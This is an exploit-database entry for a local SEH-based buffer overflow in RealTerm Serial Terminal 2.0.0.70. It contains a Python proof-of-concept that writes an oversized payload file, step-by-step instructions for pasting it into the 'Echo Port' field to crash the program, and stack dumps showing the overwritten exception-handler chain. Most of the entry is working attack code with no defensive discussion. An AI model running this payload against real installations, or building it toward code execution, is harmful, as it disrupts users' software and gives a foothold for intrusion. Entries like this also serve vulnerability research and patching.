Realterm Serial Terminal 2.0.0.70 - Local Buffer Overflow (SEH)

EDB-ID:
46391

CVE:
N/A

EDB Verified: ×

Author:
ALEJANDRA SÁNCHEZ

Type:
DOS

Exploit: / {}

Platform:
WINDOWS

Date:
2019-02-18

Vulnerable App:

```
# -*- coding: utf-8 -*-
# Exploit Title: RealTerm: Serial Terminal 2.0.0.70 - 'Echo Port' Overflow
Crash (SEH) (PoC)
# Date: 16/02/2019
# Author: Alejandra Sánchez
# Vendor Homepage: https://realterm.sourceforge.io/
# Software Link: https://sourceforge.net/projects/realterm/files/
# Version: 2.0.0.70
# Tested on: Windows 10 / Windows XP


# Proof of Concept:
# 1.- Run the python script "EchoPort.py", it will create a new file
"EchoPort.txt"
# 2.- Copy the content of the new file 'EchoPort.txt' to clipboard
# 3.- Open realterm.exe
# 4.- Go to 'Echo Port' tab
# 5.- Paste clipboard in 'Port' field
# 6.- Click on button -> Change
# 7.- Check 'Echo On' or
# 8.- Crashed

# After the execution of POC, the SEH chain looks like this:
# 0012F57C   43434343
# 42424242 *** CORRUPT ENTRY ***

# And the Stack

#0012F568   41414141  AAAA
#0012F56C   41414141  AAAA
#0012F570   41414141  AAAA
#0012F574   41414141  AAAA
#0012F578   42424242  BBBB  Pointer to next SEH record
#0012F57C   43434343  CCCC  SE handler


buffer = "\x41" * 268
nseh = "\x42" * 4
seh = "\x43" * 4
f = open ("EchoPort.txt", "w")
f.write(buffer+nseh+seh)
f.close()
```

Tags: Denial of Service (DoS), Buffer Overflow

Advisory/Source: Link

Databases

Links

Sites

Solutions